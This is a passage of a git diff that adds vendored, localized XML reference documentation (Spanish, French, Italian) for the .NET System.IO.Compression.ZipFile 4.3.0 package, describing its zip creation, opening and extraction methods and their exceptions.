corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Extrae todos los archivos de archivo zip especificado en un directorio del sistema de archivos y utiliza la codificación de caracteres especificada para los nombres de entrada. + La ruta de acceso al archivo que se va a extraer. + La ruta de acceso al directorio en el que se van a colocar los archivos extraídos, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Codificación que se va a usar al leer o escribir nombres de entrada en este archivo.Especifique un valor para este parámetro únicamente cuando se necesite una codificación para la interoperabilidad con herramientas y bibliotecas de archivos zip que no admiten la codificación UTF-8 para los nombres de entrada. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Abre un archivo .zip en la ruta de acceso especificada y en el modo especificado. + El archivo zip abierto. + La ruta de acceso al archivo que se va a abrir, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Uno de los valores de enumeración que especifica las acciones que se permiten en las entradas del archivo abierto. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Abre un archivo zip en la ruta de acceso especificada, en el modo especificado, y usando la codificación de caracteres especificada para los nombres de entrada. + El archivo zip abierto. + La ruta de acceso al archivo que se va a abrir, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Uno de los valores de enumeración que especifica las acciones que se permiten en las entradas del archivo abierto. + Codificación que se va a usar al leer o escribir nombres de entrada en este archivo.Especifique un valor para este parámetro únicamente cuando se necesite una codificación para la interoperabilidad con herramientas y bibliotecas de archivos zip que no admiten la codificación UTF-8 para los nombres de entrada. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Abre un archivo zip para leer en la ruta de acceso especificada. + El archivo zip abierto. + La ruta de acceso al archivo que se va a abrir, especificada como una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + Proporciona métodos de extensión para las clases y . + + + Archiva un archivo comprimiéndolo y agregándolo al archivo zip. + Un contenedor para la nueva entrada en el archivo zip. + Archivo .zip al que se agrega el archivo. + Ruta de acceso al archivo que se va a archivar.Puede especificar una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Nombre de la entrada que se va a crear en el archivo zip. + + es , contiene solo espacios en blanco o contiene al menos un carácter no válido.O bien es . + + o es null. + En , la ruta de acceso especificada, el nombre de archivo o ambos superan la longitud máxima definida por el sistema.Por ejemplo, en las plataformas basadas en Windows, las rutas de acceso no deben superar 248 caracteres y los nombres de archivo no deben superar 260 caracteres. + El valor de no es válido (por ejemplo, se encuentra en una unidad no asignada). + No se puede abrir el archivo especificado por . + + especifica un directorio.O bienEl autor de la llamada no tiene el permiso necesario para obtener acceso al archivo que especifica . + No se encuentra el archivo especificado por . + El parámetro no tiene un formato válido.O bienEl archivo zip no admite escritura. + El archivo .zip se ha desechado. + + + Archiva un archivo comprimiéndolo mediante el nivel especificado de compresión y agregándolo al archivo zip. + Un contenedor para la nueva entrada en el archivo zip. + Archivo .zip al que se agrega el archivo. + Ruta de acceso al archivo que se va a archivar.Puede especificar una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + Nombre de la entrada que se va a crear en el archivo zip. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al crear la entrada. + + es , contiene solo espacios en blanco o contiene al menos un carácter no válido.O bien es . + + o es null. + El valor de no es válido (por ejemplo, se encuentra en una unidad no asignada). + En , la ruta de acceso especificada, el nombre de archivo o ambos superan la longitud máxima definida por el sistema.Por ejemplo, en las plataformas basadas en Windows, las rutas de acceso no deben superar 248 caracteres y los nombres de archivo no deben superar 260 caracteres. + No se puede abrir el archivo especificado por . + + especifica un directorio.O bienEl autor de la llamada no tiene el permiso necesario para obtener acceso al archivo que especifica . + No se encuentra el archivo especificado por . + El parámetro no tiene un formato válido.O bienEl archivo zip no admite escritura. + El archivo .zip se ha desechado. + + + Extrae todos los archivos del archivo zip a un directorio del sistema de archivos. + El archivo zip del que se van a extraer archivos. + La ruta de acceso al directorio donde se van a colocar los archivos extraídos.Puede especificar una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + + es , contiene solo espacios en blanco o contiene al menos un carácter no válido. + + es null. + La ruta de acceso supera la longitud máxima definida por el sistema.Por ejemplo, en las plataformas basadas en Windows, las rutas de acceso no deben superar 248 caracteres y los nombres de archivo no deben superar 260 caracteres. + La ruta de acceso especificada no es válida (por ejemplo, se encuentra en una unidad de red no asignada). + El directorio que especifica ya existe.O bienEl nombre de una entrada en el archivo es , contiene solo espacios en blanco, o contiene al menos un carácter no válido.O bienLa extracción de una entrada del archivo crearía un archivo que está fuera del directorio especificado por . (Por ejemplo, esto puede ocurrir si el nombre de la entrada contiene descriptores de acceso del directorio primario). O bienDos o más entradas del archivo tienen el mismo nombre. + El llamador no tiene el permiso para escribir en el directorio de destino. + + contiene un formato no válido. + Una entrada de archivo no se encuentra o está dañada.O bienUna entrada de archivo se ha comprimido mediante un método de compresión que no se admite. + + + Dibuja una entrada del archivo zip a un archivo. + La entrada del archivo zip del que se va a extraer un archivo. + La ruta de acceso del archivo que se va a crear a partir del contenido de la entrada.Puede especificar una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + + es una cadena de longitud cero, contiene solo espacios en blanco o contiene uno o varios de los caracteres no válidos definidos por .O bien especifica un directorio. + + es null. + La ruta de acceso especificada, el nombre de archivo o ambos superan la longitud máxima definida por el sistema.Por ejemplo, en las plataformas basadas en Windows, las rutas de acceso no deben superar 248 caracteres y los nombres de archivo no deben superar 260 caracteres. + La ruta de acceso especificada no es válida (por ejemplo, se encuentra en una unidad de red no asignada). + + ya existe.O bien Error de E/S.O bienLa entrada está actualmente abierta para escribir en ella.O bienSe ha eliminado el entrada del archivo. + El autor de la llamada no tiene el permiso necesario para crear un archivo nuevo. + La entrada falta en el archivo o está dañada y no se puede leer.O bienLa entrada se ha comprimido mediante un método de compresión que no se admite. + Se ha desechado el archivo zip al que pertenece esta entrada. + + tiene un formato no válido. O bienEl archivo zip para esta entrada se ha abierto en modo , que no permite la recuperación de entradas. + + + Extrae una entrada del archivo zip a un archivo, y sobrescribe opcionalmente un archivo existente que tiene el mismo nombre. + La entrada del archivo zip del que se va a extraer un archivo. + La ruta de acceso del archivo que se va a crear a partir del contenido de la entrada.Puede especificar una ruta de acceso relativa o absoluta.Una ruta de acceso relativa se interpreta en relación con el directorio de trabajo actual. + true para sobrescribir un archivo existente que tiene el mismo nombre que el archivo de destino; si no, false. + + es una cadena de longitud cero, contiene solo espacios en blanco o contiene uno o varios de los caracteres no válidos definidos por .O bien especifica un directorio. + + es null. + La ruta de acceso especificada, el nombre de archivo o ambos superan la longitud máxima definida por el sistema.Por ejemplo, en las plataformas basadas en Windows, las rutas de acceso no deben superar 248 caracteres y los nombres de archivo no deben superar 260 caracteres. + La ruta de acceso especificada no es válida (por ejemplo, se encuentra en una unidad de red no asignada). + + ya existe y es false.O bien Error de E/S.O bienLa entrada está actualmente abierta para escribir en ella.O bienSe ha eliminado el entrada del archivo. + El autor de la llamada no tiene el permiso necesario para crear un archivo nuevo. + La entrada falta en el archivo o está dañada y no se puede leer.O bienLa entrada se ha comprimido mediante un método de compresión que no se admite. + Se ha desechado el archivo zip al que pertenece esta entrada. + + tiene un formato no válido. O bienEl archivo zip para esta entrada se ha abierto en modo , que no permite la recuperación de entradas. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..388e5a0 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.ZipFile.xml @@ -0,0 +1,274 @@ + + + + System.IO.Compression.ZipFile + + + + Fournit des méthodes statiques pour la création, l'extraction et l'ouverture des archives zip. + + + Crée une archive zip qui contient les fichiers et les répertoires à partir du répertoire spécifié. + Chemin d'accès au répertoire à archiver, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Chemin d'accès de l'archive à créer, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Crée une archive zip qui contient les fichiers et les répertoires du répertoire spécifié, utilise le niveau de compression spécifié et inclut éventuellement le répertoire de base. + Chemin d'accès au répertoire à archiver, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Chemin d'accès de l'archive à créer, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Une des valeurs d'énumération qui indique s'il faut privilégier la rapidité ou l'efficacité de la compression lors de la création de l'entrée. + true pour inclure le nom de répertoire de à la racine de l'archive ; false pour inclure uniquement le contenu du répertoire. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Crée une archive zip qui contient les fichiers et les répertoires du répertoire spécifié, utilise le niveau de compression et l'encodage de caractères spécifiés pour les noms d'entrée, et inclut éventuellement le répertoire de base. + Chemin d'accès au répertoire à archiver, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Chemin d'accès de l'archive à créer, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Une des valeurs d'énumération qui indique s'il faut privilégier la rapidité ou l'efficacité de la compression lors de la création de l'entrée. + true pour inclure le nom de répertoire de à la racine de l'archive ; false pour inclure uniquement le contenu du répertoire. + Encodage à utiliser lors de la lecture ou de l'écriture des noms d'entrée dans cette archive.Spécifie une valeur pour ce paramètre seulement quand un encodage est obligatoire pour l'interopérabilité avec les outils et les bibliothèques d'archivage zip qui ne prennent pas en charge l'encodage UTF-8 pour les noms d'entrée. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Extrait tous les fichiers de l'archive zip spécifiée vers un répertoire sur le système de fichiers. + Chemin d'accès à l'archive qui doit être extraite. + Chemin d'accès au répertoire où placer les fichiers extraits, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Extrait tous les fichiers de l'archive zip spécifiée vers un répertoire sur le système de fichiers et utilise l'encodage de caractères spécifié pour les noms d'entrée. + Chemin d'accès à l'archive qui doit être extraite. + Chemin d'accès au répertoire où placer les fichiers extraits, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Encodage à utiliser lors de la lecture ou de l'écriture des noms d'entrée dans cette archive.Spécifie une valeur pour ce paramètre seulement quand un encodage est obligatoire pour l'interopérabilité avec les outils et les bibliothèques d'archivage zip qui ne prennent pas en charge l'encodage UTF-8 pour les noms d'entrée. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Ouvre une archive zip dans le chemin d'accès et dans le mode spécifiés. + Archive zip ouverte. + Chemin d'accès de l'archive à ouvrir, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Une des valeurs d'énumération spécifiant les actions qui sont autorisées sur les entrées de l'archive ouverte. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Ouvre une archive zip dans le chemin d'accès spécifié, dans le mode spécifié et avec un encodage de caractères spécifié pour les noms d'entrée. + Archive zip ouverte. + Chemin d'accès de l'archive à ouvrir, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Une des valeurs d'énumération spécifiant les actions qui sont autorisées sur les entrées de l'archive ouverte. + Encodage à utiliser lors de la lecture ou de l'écriture des noms d'entrée dans cette archive.Spécifie une valeur pour ce paramètre seulement quand un encodage est obligatoire pour l'interopérabilité avec les outils et les bibliothèques d'archivage zip qui ne prennent pas en charge l'encodage UTF-8 pour les noms d'entrée. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Ouvre une archive zip pour la lecture au chemin d'accès spécifié. + Archive zip ouverte. + Chemin d'accès de l'archive à ouvrir, spécifié sous forme de chemin d'accès relatif ou absolu.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + Fournit les méthodes d'extension pour les classes et . + + + Archive un fichier en le compressant et en l'ajoutant à l'archive ZIP. + Wrapper pour la nouvelle entrée dans l'archive ZIP. + Archive zip à ajouter au fichier. + Chemin d'accès du fichier à archiver.Spécification possible d'un chemin d'accès absolu ou relatif.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Nom de l'entrée à créer dans l'archive ZIP. + + est , ne contient qu'un espace blanc ou contient au moins un caractère non valide.ou a la valeur . + + ou est null. + Dans , le chemin d'accès spécifié, le nom de fichier spécifié ou les deux dépassent la longueur maximale définie par le système.Par exemple, sur les plateformes Windows, les chemins et les noms de fichiers ne doivent pas dépasser, respectivement, 248 et 260 caractères. + + n'est pas valide (par exemple, il se trouve sur un lecteur non mappé). + Le fichier spécifié par ne peut pas être ouvert. + + spécifie un répertoire.ouL'appelant n'a pas l'autorisation requise pour accéder au fichier spécifié par . + Le fichier spécifié par est introuvable. + Le format du paramètre n'est pas valide.ouL'archive zip ne prend pas en charge l'écriture. + L'archive zip de a été supprimée. + + + Archive un fichier en le compressant à l'aide du niveau de compression spécifié et en l'ajoutant à l'archive ZIP. + Wrapper pour la nouvelle entrée dans l'archive ZIP. + Archive zip à ajouter au fichier. + Chemin d'accès du fichier à archiver.Spécification possible d'un chemin d'accès absolu ou relatif.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + Nom de l'entrée à créer dans l'archive ZIP. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur rapidité ou la compression en créant l'entrée. + + est , ne contient qu'un espace blanc ou contient au moins un caractère non valide.ou a la valeur . + + ou est null. + + n'est pas valide (par exemple, il se trouve sur un lecteur non mappé). + Dans , le chemin d'accès spécifié, le nom de fichier spécifié ou les deux dépassent la longueur maximale définie par le système.Par exemple, sur les plateformes Windows, les chemins et les noms de fichiers ne doivent pas dépasser, respectivement, 248 et 260 caractères. + Le fichier spécifié par ne peut pas être ouvert. + + spécifie un répertoire.ouL'appelant n'a pas l'autorisation requise pour accéder au fichier spécifié par . + Le fichier spécifié par est introuvable. + Le format du paramètre n'est pas valide.ouL'archive zip ne prend pas en charge l'écriture. + L'archive zip de a été supprimée. + + + Extrait tous les fichiers dans l'archive zip d'un répertoire sur le système de fichiers. + Archive ZIP depuis laquelle extraire les fichiers. + Chemin d'accès au répertoire dans lequel placer les fichiers extraits.Spécification possible d'un chemin d'accès absolu ou relatif.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + + est , ne contient qu'un espace blanc ou contient au moins un caractère non valide. + + a la valeur null. + Le chemin d'accès spécifié dépasse la longueur maximale définie par le système.Par exemple, sur les plateformes Windows, les chemins et les noms de fichiers ne doivent pas dépasser, respectivement, 248 et 260 caractères. + Le chemin d'accès spécifié n'est pas valide (il se trouve, par exemple, sur un lecteur non mappé). + Le répertoire spécifié par existe déjà.ouLe nom d'une entrée dans l'archive est , il contient uniquement des espaces blancs ou il contient au moins un caractère non valide.ouL'extraction d'une entrée de l'archive pourrait créer un fichier qui se trouve en dehors du répertoire spécifié par . (Par exemple, cela peut se produire si le nom d'entrée contient des accesseurs de répertoire parent.) ouPlusieurs entrées de l'archive portent le même nom. + L'appelant n'a pas l'autorisation requise pour écrire dans le répertoire de destination. + + contient un format non valide. + Entrée d'archive introuvable ou endommagée.ouL'entrée d'archive a été compressée à l'aide d'une méthode de compression non prise en charge. + + + Extrait une entrée de l'archive zip dans un fichier. + Entrée d'archive ZIP depuis laquelle extraire un fichier. + Chemin d'accès du fichier à créer à partir du contenu de l'entrée.Spécification possible d'un chemin d'accès absolu ou relatif.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + + est une chaîne de longueur nulle, ne contient que des espaces blancs ou contient un ou plusieurs caractères non valides comme défini par .ou spécifie un répertoire. + + a la valeur null. + Le chemin d'accès, le nom de fichier spécifié ou les deux dépassent la longueur maximale définie par le système.Par exemple, sur les plateformes Windows, les chemins et les noms de fichiers ne doivent pas dépasser, respectivement, 248 et 260 caractères. + Le chemin d'accès spécifié n'est pas valide (il se trouve, par exemple, sur un lecteur non mappé). + + existe déjà.ou Une erreur d'E/S s'est produite.ouL'entrée est actuellement ouverte en écriture.ouL'entrée a été supprimée de l'archive. + L'appelant n'a pas l'autorisation requise pour créer le fichier. + L'entrée est manquante dans l'archive, ou est endommagée et ne peut pas être lue.ouL'entrée a été compressée à l'aide d'une méthode de compression non prise en charge. + L'archive ZIP à laquelle appartient cette entrée a été supprimée. + Le format de n'est pas valide. ouL'archive ZIP de cette entrée a été ouverte en mode , qui ne permet pas la récupération des entrées. + + + Extrait une entrée dans l'archive zip d'un fichier et remplace éventuellement un fichier existant qui porte le même nom. + Entrée d'archive ZIP depuis laquelle extraire un fichier. + Chemin d'accès du fichier à créer à partir du contenu de l'entrée.Spécification possible d'un chemin d'accès absolu ou relatif.Un chemin d'accès relatif est interprété comme étant relatif au répertoire de travail actif. + true pour remplacer un fichier existant portant le même nom que le fichier de destination ; sinon, false. + + est une chaîne de longueur nulle, ne contient que des espaces blancs ou contient un ou plusieurs caractères non valides comme défini par .ou spécifie un répertoire. + + a la valeur null. + Le chemin d'accès, le nom de fichier spécifié ou les deux dépassent la longueur maximale définie par le système.Par exemple, sur les plateformes Windows, les chemins et les noms de fichiers ne doivent pas dépasser, respectivement, 248 et 260 caractères. + Le chemin d'accès spécifié n'est pas valide (il se trouve, par exemple, sur un lecteur non mappé). + + existe déjà et a la valeur false.ou Une erreur d'E/S s'est produite.ouL'entrée est actuellement ouverte en écriture.ouL'entrée a été supprimée de l'archive. + L'appelant n'a pas l'autorisation requise pour créer le fichier. + L'entrée est manquante dans l'archive, ou est endommagée et ne peut pas être lue.ouL'entrée a été compressée à l'aide d'une méthode de compression non prise en charge. + L'archive ZIP à laquelle appartient cette entrée a été supprimée. + Le format de n'est pas valide. ouL'archive ZIP de cette entrée a été ouverte en mode , qui ne permet pas la récupération des entrées. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/it/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/it/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..8c3091d --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/it/System.IO.Compression.ZipFile.xml @@ -0,0 +1,276 @@ + + + + System.IO.Compression.ZipFile + + + + Fornisce metodi statici per la creazione, l'estrazione e l'apertura di archivi ZIP. + + + Crea un archivio ZIP che contiene i file e le directory della directory specificata. + Percorso della directory da archiviare, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Percorso dell'archivio da creare, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Crea un archivio ZIP che contiene i file e le directory della directory specificata, usa il livello di compressione specificato e facoltativamente include la directory di base. + Percorso della directory da archiviare, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Percorso dell'archivio da creare, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Uno dei valori di enumerazione che indica se privilegiare la velocità o l'efficacia di compressione quando si crea la voce. + true per includere il nome della directory da nella directory radice dell'archivio; false per includere solo il contenuto della directory. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Crea un archivio ZIP che contiene i file e le directory della directory specificata, usa il livello di compressione e la codifica caratteri specificati per i nomi di voce e facoltativamente include la directory di base. + Percorso della directory da archiviare, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Percorso dell'archivio da creare, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + Uno dei valori di enumerazione che indica se privilegiare la velocità o l'efficacia di compressione quando si crea la voce. + true per includere il nome della directory da nella directory radice dell'archivio; false per includere solo il contenuto della directory. + La codifica da usate durante la lettura o la scrittura dei nomi delle voci in questo archivio.Specificare un valore per il parametro solo quando una codifica è obbligatoria per l'interoperabilità con gli strumenti e le librerie dell'archivio ZIP che non supportano la codifica UTF-8 per i nomi di voce. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Estrae tutti i file nell'archivio ZIP specificato in una directory del file system. + Percorso dell'archivio da estrarre. + Percorso della directory in cui inserire i file estratti, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Estrae tutti i file nell'archivio ZIP specificato in una directory del file system e usa la codifica caratteri specificata per i nomi di voci. + Percorso dell'archivio da estrarre. + Percorso della directory in cui inserire i file estratti, specificato come percorso relativo o assoluto.Un percorso relativo è interpretato rispetto alla directory di lavoro corrente. + La codifica da usate durante la lettura o la scrittura dei nomi delle voci in questo archivio.Specificare un valore per il parametro solo quando una codifica è obbligatoria per l'interoperabilità con gli strumenti e le librerie dell'archivio ZIP che non supportano la codifica UTF-8 per i nomi di voce. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one 